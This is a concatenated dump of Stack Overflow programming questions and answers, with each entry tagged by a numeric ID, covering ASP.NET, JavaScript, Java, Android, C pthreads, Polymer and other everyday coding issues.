/&gt; &lt;/td&gt; &lt;td&gt; &lt;asp:Button ID="Insert" runat="server" ClientIDMode="Static" CommandName="Insert" Text="Add" /&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/InsertItemTemplate&gt; </code></pre> <p>I had originally thought that it was the ID of the control that was used to determine the property on the model that the value would be passed to (i.e. where the TextBox was called "Description", the value would be passed to the "Description" property of the model). Clearly this is not the case and it is instead controlled by the "&lt;%# BindItem.Description %>", however as you can see from the rest of this question I am unable to use this syntax in the "InsertItemTemplate". I cannot believe that the DropDownList is not supported in this scenario, but I cannot find any examples of a DropDownList being used with the 4.5 model bindings using Google or Bing (in fact, there are very few examples of the new model binding in ASP.NET 4.5 using anything other than a couple of TextBox controls).</p> <p>Can anybody shed any further light on the issue (and preferably tell me what needs to be done)?</p> <p>Other questions on SO that I have looked at...</p> <ul> <li><a href="http://stackoverflow.com/questions/470315/binding-a-dropdownlist-in-listview-insertitemtemplate-throwing-an-error">Binding a DropDownList in ListView InsertItemTemplate throwing an error</a></li> <li><a href="http://stackoverflow.com/questions/2184757/asp-net-listview-with-identical-markup-in-edititemtemplate-and-insertitemtemplat">ASP.NET ListView with identical markup in EditItemTemplate and InsertItemTemplate</a></li> <li><a href="http://stackoverflow.com/questions/2265852/bind-selectedvalue-of-asp-net-dropdownlist-to-custom-object">Bind SelectedValue of ASP.net DropDownList to custom object</a></li> <li><a href="http://stackoverflow.com/questions/3785021/databinding-to-asp-net-dropdownlist-list-in-listview">Databinding to ASP.NET DropDownList list in ListView</a></li> </ul> <p>All of these use the older style binding methods and not the new methods in 4.5</p> <p>Thanks.</p>
16084574	0	 <p>This is not a very good question for StackOverflow; it's better for one of the math sites. But I'll answer it here anyways.</p> <p>You certainly can do better than brute force, as you are doing here. You should be able to compute the answer in a few microseconds.</p> <p>There exists a solution if and only if the <em>greatest common divisor</em> of (A, B, C, D) divides K evenly. That's the extended form of <em>Bézout's identity</em>.</p> <p>In order to determine (1) what the gcd is and (2) what the values for p, q, r, s are, you use the <em>Extended Euclidean Algorithm</em>, which you can read about here:</p> <p><a href="http://en.wikipedia.org/wiki/Extended_Euclidean_algorithm" rel="nofollow">http://en.wikipedia.org/wiki/Extended_Euclidean_algorithm</a></p> <p>My advice is to first write a program that solves simple linear Diophantine equations of the form <code>ax + by = c</code>. Once you've done that, then read the section of that Wikipedia article called "The case of more than two numbers", which describes how to extend the algorithm to handle your case.</p>
18055468	0	update value simultaneously to table using MVC ajax async <p>I want to update values to sql table from queue simultaneously using Ajax async. It's not working for me. </p> <p>My code </p> <pre><code> function ProcessQueue() { $.ajax({ url: '@Url.Action("process", "MyAccount")', type: 'GET', dataType: 'html', async: true, }); setTimeout(function () { ProcessQueue(); }, 900); } </code></pre> <p>Controller :</p> <pre><code> public void process() { for (int i = 0; i &lt; 10; i++) { calling table update function here. .... } } </code></pre> <p>Thanks </p>
6791287	0	 <p><code>header</code> statements will not work if there is any output before they are called. In this case, your <code>echo</code>s are killing it. Also, make sure there is no other output before this is called (white space, HTML, etc.).</p>
804551	0	 <p>Boolean is a value type, so it will always have a value. [Required] therefore has no real effect. What happens if you use a Nullable&lt;bool&gt; instead? This should allow MVC to assign a null value if the first option is selected, and the Required attribute can then assert that the user did in fact select a value.</p>
6207907	0	What are possible causes for differing behaviors in jsFiddle and in local context <p>Upon invsetigating 'mu is too short's answer to <a href="http://stackoverflow.com/questions/6206985/what-can-make-jquerys-unbind-function-not-work-as-expected" title="this question">this question</a>, I noticed that I get different behaviour in jsFiddle than in my local context for the exact same script. Any clues as to why that is?</p> <p>Note: I am not getting any javascript errors in Firefox's error console in the local context.</p> <p><strong>UPDATE</strong>: I tried grabbing the HTML from <a href="http://fiddle.jshell.net/ambiguous/ZEx6M/1/show/light" rel="nofollow">fiddle.jshell.net/ambiguous/ZEx6M/1/show/light</a> to a local file and loading that local file in Chromium browser and I got the following errors in the javascript console:</p> <ul> <li><code>GET file:///css/normalize.css undefined (undefined) /css/normalize.css</code></li> <li><code>GET file:///css/result-light.css undefined (undefined) /css/result-light.css</code></li> <li><code>Resource interpreted as Script but transferred with MIME type application/empty jquery.scrollTo-1.4.2.js:-1</code></li> <li><code>Resource interpreted as Script but transferred with MIME type text/plain jquery.viewport.js:-1</code></li> </ul> <p>I can get rid of these javascript errors by downloading the files and modifying the <code>&lt;script&gt;</code> tags, but it doesn't solve the problem. The page still scrolls down to the very bottom. Also these errors appear even in the working (jsFiddle) version.</p> <p>I also tried the same process in Konqueror. Result: the script does absolutely nothing.</p>
31629117	0	 <pre><code>def combinations(ary1, ary2) ary1.map {|i| ary2.map {|i2| "#{i}#{i2}" }}.flatten end </code></pre>
32793474	0	PHP Why does this work? <p>Specifically speaking, why does the below code work (outputs "test").</p> <pre><code>&lt;? $variable = 'test'; ?&gt; &lt;?=$variable?&gt; </code></pre> <p>Is this hacky, or functionality?</p>
36696169	0	sitecore installation wizard could not install some content <p>I would like to ask you if someone has similar problem. I am using Sitecore.NET 7.2 (rev. 151021) with Solr. I need to add some items from prod to my local sitecore instance. When I create package and tried to install specific content I get exception null reference exception. It doesnt depend on the content. I tried to used package designer with varios content and always I get this exception.</p> <p><a href="https://i.stack.imgur.com/pXvvo.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/pXvvo.png" alt="enter image description here"></a></p>
7426257	0	 <p>Task Manager is one way to do it. I prefer <a href="http://technet.microsoft.com/en-us/sysinternals/bb896653" rel="nofollow">Process Explorer</a> because it gives a lot more info than Task Manager.</p>
902480	0	Error parsing .dae,Error#1009 in flash player,Augmented Reality flash <p>Whenever I am trying to use an animate.dae file(I am creating small project using flartoolkit+papervision3d+ascollada) .The flash player is reporting me the errors pasted below.If I am pressing continue then I can see my .dae file but without animation :( And Please note that I am not using any heavy animation.</p> <p>ERROR:</p> <p>TypeError: Error #1009: Cannot access a property or method of a null object reference.</p> <p>at org.papervision3d.objects.parsers::DAE/buildAnimationChannels()[C:..\org\papervision3d\objects\parsers\DAE.as:657]</p> <p>at org.papervision3d.objects.parsers::DAE/onParseAnimationsComplete()[C:..\org\papervision3d\objects\parsers\DAE.as:1722]</p> <p>at flash.events::EventDispatcher/dispatchEventFunction()</p> <p>at flash.events::EventDispatcher/dispatchEvent()</p> <p>at org.ascollada.io::DaeReader/loadNextAnimation()[C:..\Libs\org\ascollada\io\DaeReader.as:169]</p> <p>at flash.utils::Timer/_timerDispatch()</p> <p>at flash.utils::Timer/tick()</p>
40773611	0	 <p>The output of <code>resize</code> has a dtype of float, hence it is in the 0-1 range. You can convert your image back to uint8 range with:</p> <pre><code>from skimage import img_as_ubyte image = img_as_ubyte(image) </code></pre> <p>Please see the <a href="http://scikit-image.org/docs/dev/user_guide/data_types.html" rel="nofollow noreferrer">user guide</a> for a full description of data types and their ranges.</p>
465467	0	 <p>I don't believe it's possible to achieve what you'd like here. From the comments in your code it looks like you are attempting to capture the name of the property which did the assignment in MethodThatTakesExpression. This requires an expression tree lambda expression which captures the contexnt of the property access. </p> <p>At the point you pass a delegate into MethodThatTakesDelegate this context is lost. Delegates only store a method address not any context about the method information. Once this conversion is made it's not possible to get it back. </p> <p>An example of why this is not possible is that there might not even be a named method backing a delegate. It's possible to use ReflectionEmit to generate a method which has no name whatsoever and only exists in memory. It is possible though to assign this out to a Func object. </p>
3735617	0	 <p>The <a href="http://wiki.apache.org/solr/UpdateXmlMessages#A.22commit.22_and_.22optimize.22" rel="nofollow noreferrer">documentation</a> for the Optimize command specifies that, by default, the command will block until all changes are written to disk and that the new searcher is available. So if you keep those default values, when the command returns, you can consider the optimize done. Note that, depending on the number of segments you currently have and to how many you want to go down to, the command can block for a long time. I have seen optimize taking up to an hour to complete. </p>
25442455	0	Sencha Touch Ext.js Codes in Html Page <p>How to use ext codes in html pages ? </p> <p>Defined this :</p> <pre><code> var Ext = Ext || {}; var msg=new Ext.Msg(); Ext.Msg.alert("Something","Something"); </code></pre> <p>but Ext.Msg.alert doesnt work , throwing " undefined is not a function " error in console.</p>
15084601	0	 <p>easiest way:</p> <pre><code>(@id in xmlIn) </code></pre> <p>this will return true if id attrtibute exists and false otherwise.</p>
2480477	0	 <blockquote> <p><em>Is there a way to override java.io.File to perform the file path translation with custom code? In this case, I would translate the remote paths to a mount point</em></p> </blockquote> <p>Yes, you can perform your own implementation of <code>java.io.File</code> and place it in a separate jar and then load it instead of the real <code>java.io.File</code>.</p> <p>To have the JVM load it you can either use the <code>java.endorsed.dirs</code> property or <code>java -Xbootclasspath/p:path</code> option in the java launcher ( java ) </p> <p><strong>BUT!!!</strong> </p> <p>Creating your own version of the <code>java.io.File</code> class won't be as easy as modifying the legacy source code. </p> <p>If you're afraid of breaking something you could first extract all your hardcoded paths to use a resource bundle:</p> <p>So:</p> <pre><code> File file = new File("C:\\Users\\oreyes\\etc.txt"); </code></pre> <p>Would be:</p> <pre><code>File file = new File( Paths.get( "user.dir.etc" )); </code></pre> <p>And <code>Paths</code> would have a resource bundle internally</p> <pre><code>class Paths { private static ResourceBundle rs = ResourceBundle.getBundle("file.paths"); public static String get( String key ) { rs.getString( key ); } } </code></pre> <p>You can have all this hardcoded paths extraction with an IDE ( usually an internationalization plugin ) </p> <p>Provide a different resource bundle for Linux and your done. Test and re-test and re-test</p> <p>So, use provide your own <code>java.io.File</code> only as a last resource. </p>
35853284	0	How to extract just the date portion from a time in Rails? <p>I have the following piece of code currently in my view.</p> <p><strong>display.html.erb</strong></p> <pre><code>&lt;% @total_sales_volume.each do |record| %&gt; &lt;%= record.transaction_date %&gt; &lt;% end %&gt; </code></pre> <p>What gets displayed currently: <code>2016-02-23 00:00:00 UTC</code></p> <p>What I want to display: <code>2016-02-23</code></p>
18670565	1	Why __init__ in python fail <p>I'm using python2.7 to define a function like this</p> <pre><code>def foo(*args, **kwargs): print 'args = ', args print 'kwargs = ', kwargs print '---------------------------------------' </code></pre> <p>and by calling foo(3), the output is as the following:</p> <pre><code>args = (3,) kwargs = {} </code></pre> <p>which is desired.</p> <p>But as for <code>__init__</code> function in a class in which the parameters are the same form as foo, I can't instantize the class Person by invoking <code>Person(3)</code></p> <pre><code>def Person(): def __init__(self, *args, **kwargs): print args print kwargs x = Person(3) </code></pre> <p>The output is</p> <pre><code> x = Person(3) TypeError: Person() takes no arguments (1 given) </code></pre> <p>That confused me a lot, have I missed something?</p>
36102749	0	 <p>Have you scanned for peripheral with the services, code below:</p> <pre><code>NSDictionary *options = [NSDictionary dictionaryWithObjectsAndKeys:[NSNumber numberWithBool:YES], CBCentralManagerScanOptionAllowDuplicatesKey, nil]; [self.bluetoothManager scanForPeripheralsWithServices:nil options:options]; </code></pre>
2265360	0	Where does the iPhone Simulator store the installed applications? <p>I want to have a look at the app directory from the iPhone Simulator, so that I can see what kind of files it is creating when I use my app and what stuff is in these files (i.e. when it creates the sqlite file for Core Data and stuff like that).</p>
8365346	0	Why does this Parallel.ForEach code freeze the program up? <p>More newbie questions: </p> <p>This code grabs a number of proxies from the list in the main window (I couldn't figure out how to make variables be available between different functions) and does a check on each one (simple httpwebrequest) and then adds them to a list called finishedProxies.</p> <p>For some reason when I press the start button, the whole program hangs up. I was under the impression that Parallel creates separate threads for each action leaving the UI thread alone so that it's responsive?</p> <pre><code>private void start_Click(object sender, RoutedEventArgs e) { // Populate a list of proxies List&lt;string&gt; proxies = new List&lt;string&gt;(); List&lt;string&gt; finishedProxies = new List&lt;string&gt;(); foreach (string proxy in proxiesList.Items) { proxies.Add(proxy); } Parallel.ForEach&lt;string&gt;(proxies, (i) =&gt; { string checkResult; checkResult = checkProxy(i); finishedProxies.Add(checkResult); // update ui /* status.Dispatcher.Invoke( System.Windows.Threading.DispatcherPriority.Normal, new Action( delegate() { status.Content = "hello" + checkResult; } )); */ // update ui finished //Console.WriteLine("[{0}] F({1}) = {2}", Thread.CurrentThread.Name, i, CalculateFibonacciNumber(i)); }); } </code></pre> <p>I've tried using the code that's commented out to make changes to the UI inside the Parallel.Foreach and it makes the program freeze after the start button is pressed. It's worked for me before but I used Thread class.</p> <p>How can I update the UI from inside the Parallel.Foreach and how do I make Parallel.Foreach work so that it doesn't make the UI freeze up while it's working?</p> <p><a href="http://pastie.org/2958219">Here's the whole code.</a></p>
3883227	0	 <p>There are several problems you need to address — both in your code and both in your current knowledge :-) Start with this:</p> <ol> <li><p>Read a few articles about ASP.NET's page life-cycle, so you become more familiar with what to do in each life-cycle event handler (<code>OnInit</code>, <code>OnLoad</code>, …). Good starting point might be this <a href="http://msdn.microsoft.com/en-us/library/ms178472.aspx" rel="nofollow">MSDN overview</a>. However, google for “ASP.NET page life cycle” and read a few other articles and examples as well.</p> <p>Also, you will need to get familiar with the request-response nature of ASP.NET page processing. In the beginning, bear in mind that when the user hits some 'Submit' button which in turn causes an HTTP POST request to occur, you are responsible to creating the page's control tree to match its structure, IDs, etc. as they were in the previous request. Otherwise ASP.NET doesn't know how in which controls to bind the data the user filled-in.</p></li> <li><p>Near the line tagged <code>//Lost and confused here :/</code> you are creating a new control and immediately querying it for the 'results' (which I expect to be values of some edit boxes within it). This cannot work, because it's most probably too early for the form to have the data received from the <code>Page</code> object that drives the request processing.</p></li> <li><p>Your <code>Results</code> property is poorly designed. First, you shouldn't be using properties that actually 'generate' data in such a way they can change without notice. Properties shall be used as “smart fields”, otherwise you end up with less manageable and less readable code. Second, the setter you left there like “set;” causes any value assigned into the property to be actually lost, because there's no way to retrieve it. While in some rare cases this behavior may be intentional, in your case I guess it's just an error.</p></li> </ol> <p>So, while you can currently leave behind any “good OOP way” to approach your problem, you certainly should get more familiar with the page life-cycle. Understanding it really requires some thinking about the principles how ASP.NET web applications are supposed to work, but I'm sure it will provide you with the kick forward you actually need.</p> <p><strong>UPDATE:</strong> In respect to Tony's code (see comments) the following shall be done to move the code forward:</p> <ol> <li><p>The list of form data in the <code>requestForm</code> property shall have tuple of [form ASCX path, control ID, the actual <code>RequestForm</code> data class]</p></li> <li><p><code>GatherForms</code> shall be called only when the page is initially loaded (i.e. <code>if (Page.IsPostBack)</code>) and it shall fill <code>requestForm</code> with the respective tuples for available ASCX forms.</p></li> <li><p>Both <code>chklApplications</code> and wizard steps shall be created in <code>LoadForms</code> on the basis of <code>requestForm</code>'s content.</p></li> <li><p>When results are to be gathered, the ID stored in the respective <code>requestForm</code> entry can be used to look-up the actual user control.</p></li> </ol>
2102395	0	 <p>This is a specification. </p> <p><a href="http://www.hanselman.com/blog/ASPNETMVCBetaReleasedCoolnessEnsues.aspx" rel="nofollow noreferrer" title="Scott Hanselman&#39;s Computer Zen - ASP.NET MVC Beta released - Coolness Ensues">Scott Hanselman's Computer Zen - ASP.NET MVC Beta released - Coolness Ensues</a></p> <p>This is V1 RTW base model binder sample code.</p> <p>1.Make custom model binder.</p> <pre><code>using System.Web.Mvc; namespace Web { public class HttpPostedFileBaseModelBinder : IModelBinder { public object BindModel(ControllerContext controllerContext, ModelBindingContext bindingContext) { var bind = new PostedFileModel(); var bindKey = (string.IsNullOrEmpty(bindingContext.ModelName) ? "" : bindingContext.ModelName + ".") + "PostedFile"; bind.PostedFile = controllerContext.HttpContext.Request.Files[bindKey]; return bind; } } } </code></pre> <p>2.Create model class.</p> <pre><code>using System.Web; namespace Web { public class PostedFileModel { public HttpPostedFileBase PostedFile { get; set; } } } </code></pre> <p>3.Entry model binder in global.asax.cs.</p> <pre><code>protected void Application_Start() { RegisterRoutes(RouteTable.Routes); ModelBinders.Binders[typeof(PostedFileModel)] = new HttpPostedFileBaseModelBinder(); } </code></pre>
6953923	0	 <p>You don't have to convert it to integer. You can check it from the string.</p> <p>Take the first character and the last character compare those .</p> <p>Iterate the first pointer +1 and the last pointer -1 then compare.</p> <p>Continue this process upto you are in middle of the string.</p>
18865083	0	 <p>You can run my demo code and see what the error means.</p> <p>When you loop over an array and expect to call a method you need to validate that it exists, first.</p> <pre><code>var arr = [0, {test: function(){}}]; // the error - Uncaught TypeError: Object 0 has no method 'test' //arr.forEach(function(e) { // e.test(); //}); // the right way arr.forEach(function(e) { if (e &amp;&amp; e.test) { e.test(); } else { console.log("no valid element or no support for method 'test'"); } }); </code></pre>
40817934	0	why dose my app in android shows wrong size of External memory? <p>i want to get size of External memory in my app. my code doesn't work properly because i have 16 Gb External Memory size but my app shows me 5 GB :</p> <pre><code>import android.os.Environment; import android.os.StatFs; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.widget.TextView; import java.io.File; public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); getTotalExternalMemorySize(); } public boolean externalMemoryAvailable() { return android.os.Environment.getExternalStorageState().equals( android.os.Environment.MEDIA_MOUNTED); } public void getTotalExternalMemorySize() { TextView textView= (TextView) findViewById(R.id.ExternalSize); if (externalMemoryAvailable()) { File path = Environment.getExternalStorageDirectory(); StatFs stat = new StatFs(path.getPath()); long blockSize = stat.getBlockSizeLong(); long totalBlocks = stat.getBlockCountLong(); textView.setText(String.valueOf(totalBlocks * blockSize/1073741824)); //1073741824 to convert to GB }else{ textView.setText("There is no External memory"); } } } </code></pre> <p>i don't know why, i will appreciate to show me what's wrong?</p>
23061804	0	Optimizing MySQL self-join query <p>I have following query:</p> <pre><code>SELECT DISTINCT(a1.actor) FROM actions a1 JOIN actions a2 ON a1.ip = a2.ip WHERE a2.actor = 143 AND a2.ip != '0.0.0.0' AND a2.ip != '' AND a2.actor != a1.actor AND a1.actor != 0 </code></pre> <p>This is the explain of the query:</p> <pre><code>+----+-------------+-------+-------+------------------+---------+---------+------------------+------+--------------------------+ | id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra | +----+-------------+-------+-------+------------------+---------+---------+------------------+------+--------------------------+ | 1 | SIMPLE | a2 | range | actor,ip,actorIp | actorIp | 66 | NULL | 3800 | Using where; Using index | | 1 | SIMPLE | a1 | ref | ip | ip | 62 | formabilio.a2.ip | 11 | Using where | +----+-------------+-------+-------+------------------+---------+---------+------------------+------+--------------------------+ </code></pre> <p>Even if from this it doesn't seem a problematic query, in my machine it takes more or less 69 seconds with MyIsam and 56 seconds in InnoDB. The table has more or less 1 thousand records. As you can see from the explain I have indeces both on the actor column, on the ip column and even on both columns. I have mysql version 5.5.35.</p> <p>Do you have any idea on why this query takes so long? How can I optimize it?</p>
1283377	0	 <p>In this specific case, it is going to work because the string in <code>buffer</code> will be the first thing that is going to enter in <code>buffer</code> (again, useless), so you should use <code>strcat()</code> instead to get the [almost] same effect.</p> <p>But, if you are trying to combine <code>strcat()</code> with the formating possibilities of <code>sprintf()</code>, you may try this:</p> <pre><code>sprintf(&buffer[strlen(buffer)], " &lt;input type='file' name='%s' /&gt;\r\n", id);</code></pre>
4071677	0	 <p>There are wrappers to inotify that make it easy to use from high-level languages. For example, in ruby you can do the following with <a href="http://github.com/nex3/rb-inotify" rel="nofollow">rb-inotify</a>:</p> <pre><code>notifier = INotify::Notifier.new # tell it what to watch notifier.watch("path/to/foo.txt", :modify) {puts "foo.txt was modified!"} notifier.watch("path/to/bar", :moved_to, :create) do |event| puts "#{event.name} is now in path/to/bar!" end </code></pre> <p>There's also <a href="http://pyinotify.sourceforge.net/" rel="nofollow">pyinotify</a> but I was unable to come up with an example as concise as the above.</p>
41028642	0	Cannot use LinkedIn API with activeadmin because of how activeadmin includes javascript <p>I have succesfully gotten the Linkedin API to work using the following code:</p> <pre><code>&lt;script type="text/javascript" src="//platform.linkedin.com/in.js"&gt; api_key: my_key &lt;/script&gt; $('#sign_in').click(function(){ IN.User.authorize(user_authorized); }); var capture_data = function(){ IN.API.Raw().url('/people/~:(id,num-connections,picture-url,industry,headline,summary)?format=json').result(display_data); } </code></pre> <p>I am trying to redo this functionality in ActiveAdmin. The problem is the way active_admin includes javascripts and linkedin's formatting. LinkedIn required the exact linebreaks I use for including the src and api_key. I can't figure out how to add the first 3 lines above using activeadmin.</p>
703934	0	 <p>I would skip the database for reasons listed above. A simple hash in memory will perform about as fast a lookup in the database. </p> <p>Even if the database was a bit faster for the lookup, you're still wasting time with the DB having to parse the query and create a plan for the lookup, then assemble the results and send them back to your program. Plus you can save yourself a dependency.</p> <p>If you plan on moving other parts of your program to a persistent store, then go for it. But a hashmap should be sufficient for your use.</p>
22418254	0	C pthread_barrier synchronization issues <p>I'm new to learning about <code>pthread_barriers</code> and how they work. Basically I have two arrays and two threads, one thread finds the max of array A and another finds the min of array B and stores them in global variables. They need to synchronize right before they make a trade (the max of A is passed to B and the min of B is passed to A) so that array B has all higher values than A - almost like a sorting problem, if you will. I keep getting wildly incorrect results and I'm sure I'm missing something simple;</p> <p><strong>I initialize the barrier with</strong></p> <pre><code> pthread_barrier_t bar; pthread_barrier_init( &amp;bar, NULL, 2); </code></pre> <p><strong>The thread code for A</strong></p> <pre><code>void *minimize_a( void *arg ) int i; int size_a = *((int *) arg); // first location is count of values int *a = ((int *) arg) + 1; // a[] will be array of values while(1){ i = index_of_max( a, size_a ); max = a[i]; // offer max for trade pthread_barrier_wait( &amp;bar ); if( max &lt;= min ) return NULL; // test to end trading rounds a[i] = min; // trade } </code></pre> <p><strong>The thread code for B</strong></p> <pre><code> void *maximize_b( void *arg ) int i; int size_b = *((int *) arg); // first location is count of values int *b = ((int *) arg) + 1; // b[] will be array of values while(1){ i = index_of_min( b, size_b ); min = b[i]; // new min found pthread_barrier_wait( &amp;bar ); if( max &lt;= min ) return NULL; // test to end trading rounds b[i] = max; // trade } </code></pre> <p>If I'm correct in understanding, once both threads hit pthread_barrier_wait, they will have successfuly synchronized and can keep continuing, correct? I always get crazy results like the following:</p> <p><strong>Before</strong></p> <p><code>a: 1, 3, 5, 6, 7, 8, 9</code></p> <p><code>b: 2, 4</code></p> <p><strong>After</strong></p> <p><code>a: 0, 0, 0, 0, 0, 0, 0</code></p> <p><code>b: 2, 4</code></p> <p>The values array</p> <pre><code>int values[] = { // format of each set of values: // count of value n, then n integer values 7, 1,3,5,6,7,8,9, // this set of values starts at index 0 2, 2,4, // starts at index 8 5, 1,3,5,7,9, // starts at index 11 5, 0,2,4,6,8 // starts at index 17 } </code></pre> <p>How the threads are made</p> <pre><code>rc = pthread_create( &amp;threads[0], NULL, &amp;minimize_a, (void *) &amp;values[0] ); if( rc ){ printf( "** could not create m_a thread\n" ); exit( -1 ); } rc = pthread_create( &amp;threads[1], NULL, &amp;maximize_b, (void *) &amp;values[8] ); if( rc ){ printf( "** could not create m_b thread\n" ); exit( -1 ); } </code></pre> <p>Any tips, suggestions, or help please?</p>
25172873	0	Preventing polymer template-soup <p>I find myself often writing deep levels of nested templates because I can't figure out how to write fairly simple conditions in any other way. This leads to a thousand template nodes in my DOM tree and it's just a mess.</p> <p>To give an example, the following is a snippet from a custom select-box (written in Jade. "<em>template#option</em>" --> <code>&lt;template id="option"&gt;</code>, etc.)</p> <pre><code>// note that this template is user-replaceable which is why it's out here template#option span {{ label }} #dropdown template( repeat='{{ option, ix in options }}' ) template( if='{{ !option.hidden }}' ) .option( data-ix='{{ ix }}' class='{{ option.active ? "active" : "" }}' ) template( bind='{{ option }}' ref='option' ) </code></pre> <p>I'm just looking for help in cleaning this up. I feel like I <em>should</em> be able to write something like:</p> <pre><code>#dropdown .option( template repeat='{{ option, ix in options }}' if='{{ !option.hidden }}' data-ix='{{ ix }}' class='{{ option.active ? "active" : "" }}' ) template( bind='{{ option }}' ref='option' ) </code></pre> <p>But I can't seem to get anything similar to that to work.</p>
33541643	0	 <pre><code>java.lang.NoSuchMethodException: &lt;init&gt; [class android.content.Context, interface android.util.AttributeSet] </code></pre> <p>Your <code>HackySwipeBackLayout</code> is missing a constructor:</p> <pre><code>public HackySwipeBackLayout(Context context, AttributeSet attrs) { super(context, attrs); } </code></pre> <p>If you look more closely at the <a href="https://github.com/chrisbanes/PhotoView/blob/master/sample/src/main/java/uk/co/senab/photoview/sample/HackyViewPager.java" rel="nofollow"><code>HackyViewPager</code></a>, you'll notice that it is in there too. As a matter of fact, <em>any</em> view that needs to support inflating from xml should have this constructor defined. You may find the <a href="http://developer.android.com/intl/es/training/custom-views/create-view.html#subclassview" rel="nofollow">documentation on how to create custom views</a> helpful too.</p> <hr> <p>Edit: since your intention is to catch the exception thrown, make sure to catch the <code>ArrayIndexOutOfBoundsException</code> accordingly:</p> <pre><code>@Override public boolean onInterceptTouchEvent(MotionEvent ev) { try { return super.onInterceptTouchEvent(ev); } catch (ArrayIndexOutOfBoundsException e) { e.printStackTrace(); return false; } } </code></pre> <p>That should stop your app from crashing on this particular exception, but is of course not a 'fix' for the underlying issue that is causing the <code>ArrayIndexOutOfBoundsException</code> to be thrown in the first place. It may or may not lead to the desired behaviour. Either way, consider opening a <a href="https://github.com/liuguangqiang/SwipeBack/issues" rel="nofollow">ticket</a> with the maintainer of the SwipeBack repo.</p>
18309217	0	 <p>Refer to this tutorial/example for the solar system using CSS3: </p> <p><a href="http://neography.com/experiment/circles/solarsystem/" rel="nofollow">CSS3 Solar System</a></p>
13149973	0	 <p>I haven't really done much image-processing, so this is just a long shot, but couldn't you do something like this:</p> <pre><code>function addPercentageToNumber($number, $minPercentage, $maxPercentage) { return $number + rand( ($number / 100) * $minPercentage, ($number / 100) * $maxPercentage ); } // Base color $r2 = rand(0, 255); // Add 10-20% $r2 = addPercentageToNumber($r2, 10, 20); </code></pre> <p>You would also need to add some code to handle what happens when a result would be <code>&gt;255</code> and so on. Hope this helps you a little atleast. :-)</p>
4948045	0	 <p><code>inter_byte</code> is a reference to an array of bytes. You are only allocating the actual array of bytes once (with the <code>new byte[5]</code>. You need to do that in your loop.</p>
7609388	0	 <p><code>adb</code> is not in your <code>PATH</code>. </p> <p>Bash will first try to look for a binary called <code>adb</code> in your Path, and not in the current directory. Therefore, if you are currently in the <code>platform-tools</code> directory, just call</p> <pre><code>./adb --help </code></pre> <p>The dot is your current directory, and this tells Bash to use <code>adb</code> from there.</p> <p>Otherwise, you can add <code>platform-tools</code> to your <code>PATH</code>, by placing a line like this in your <code>~/.profile</code> or <code>~/.bash_profile</code>, then re-starting the Terminal. On Linux, you might want to modify <code>~/.bashrc</code> instead, <a href="http://www.joshstaiger.org/archives/2005/07/bash_profile_vs.html">depending on what is used</a>.</p> <pre><code>export PATH=/Users/espireinfolabs/Desktop/soft/android-sdk-mac_x86/platform-tools:$PATH </code></pre> <p>If you've installed the platform tools somewhere else, change the path accordingly. For Android Studio on OS X, for example, you'd use the following—note the double-quotes that prevent a possible space from breaking the path syntax:</p> <pre><code>export PATH="/Users/myuser/Library/Android/sdk/platform-tools":$PATH </code></pre>
35268897	0	 <p>Here is the solution :</p> <p><pre> Create a MultiConverter:</p> <pre><code> public object Convert(object[] values, Type targetType, object parameter, CultureInfo culture) { var dataContext = values[0]; var dg = (DataGrid)values[1]; var i = (DataGridCell)values[2]; var col = i.Column.DisplayIndex; var row = dg.Items.IndexOf(i.DataContext); if (row &gt;= 0 &amp;&amp; col &gt;= 0) { DataTable td1 = ((CheckXmlAppWpf.ViewModel.MainWindowViewModel) (dataContext)).GenericDataTable; DataTable td2 = ((CheckXmlAppWpf.ViewModel.MainWindowViewModel)(dataContext)).GenericDataTable2; if (!td1.Rows[row][col].Equals(td2.Rows[row][col])) { GetCell(dg, row, col).Background = Brushes.Yellow; } } return SystemColors.AppWorkspaceColor; } public object[] ConvertBack(object value, Type[] targetTypes, object parameter, CultureInfo culture) { throw new System.NotImplementedException(); } } </code></pre> <p>Use it in the xaml:</p> <code>&lt;DataGrid x:Name="DataGrid" Margin="5,5,5,5" ItemsSource="{Binding GenericDataTable}" attachedBehaviors:DataGridColumnsBehavior.BindableColumns="{Binding GridColumns}" AutoGenerateColumns="False" EnableRowVirtualization="False"&gt; &lt;DataGrid.Resources&gt; &lt;Style TargetType="DataGridCell"&gt; &lt;Setter Property="Background"&gt; &lt;Setter.Value&gt; &lt;MultiBinding Converter="{StaticResource NameToBrushMultiValueConverter}" &gt; &lt;MultiBinding.Bindings&gt; &lt;Binding RelativeSource="{RelativeSource AncestorType=Window}" Path="DataContext" /&gt; &lt;Binding RelativeSource="{RelativeSource AncestorType=DataGrid}"&gt;&lt;/Binding&gt; &lt;Binding RelativeSource="{RelativeSource Self}"/&gt; &lt;/MultiBinding.Bindings&gt; &lt;/MultiBinding&gt; &lt;/Setter.Value&gt; &lt;/Setter&gt; &lt;/Style&gt; &lt;/DataGrid.Resources&gt; &lt;/DataGrid&gt; </code></pre> <p></p>
16330347	0	 <p>Try to use the following on your listview.</p> <pre><code>listview.addHeaderView(v); </code></pre> <p>Also rememeber, you must call this method before calling setAdapter() on your listview.</p> <p>include your linearlayout where you have the user details and the tabs and add it as a header to the list.</p>
20768118	0	Assigning onkeyup event to multiple objects at once <p>I am working with qualtrics and I am trying to customize their matrix control. I am trying to loop through a matrix with 8 rows and 4 columns where each cell contains a textbox and assign each textbox an onkeyup event like so: </p> <pre><code>for (var j=1; j&lt; 9; j++){ row_txt[j] = []; for (var k=1; k&lt;5; k++){ txt1= $('QR~QID2~'+j+'~'+k); txt1.onkeyup=function(){alert(j+','+k);}; } } </code></pre> <p>However, the onkeyup event returns "9,5" for each textbox changed. Why isn't it displaying the correct indices? How can I assign the same onkeyup event to multiple objects with the corresponding parameters j and k ?</p> <p>Thank you </p>
3512899	0	 <p>You're going to have to write an add on.</p> <p>Tabs look like windows to content so you can use a regular DOM Window object to discover some info about the current tab and do some things - close(), focus(), resizeTo() etc. Problem is Firefox and other modern browser suppress or ignore some of these events due to the default popup blocking behaviour. In addition, content cannot tell how many tabs are open, or what's running in them for security reasons so there would be no way to poll them for example. Best that you can do is is call window.opener from one window to find out which other one opened it.</p> <p>The only way you're going to get full level of access is by writing an add-on. Every browser has its own way of writing add ons, some of which will be easier to write than others. </p>
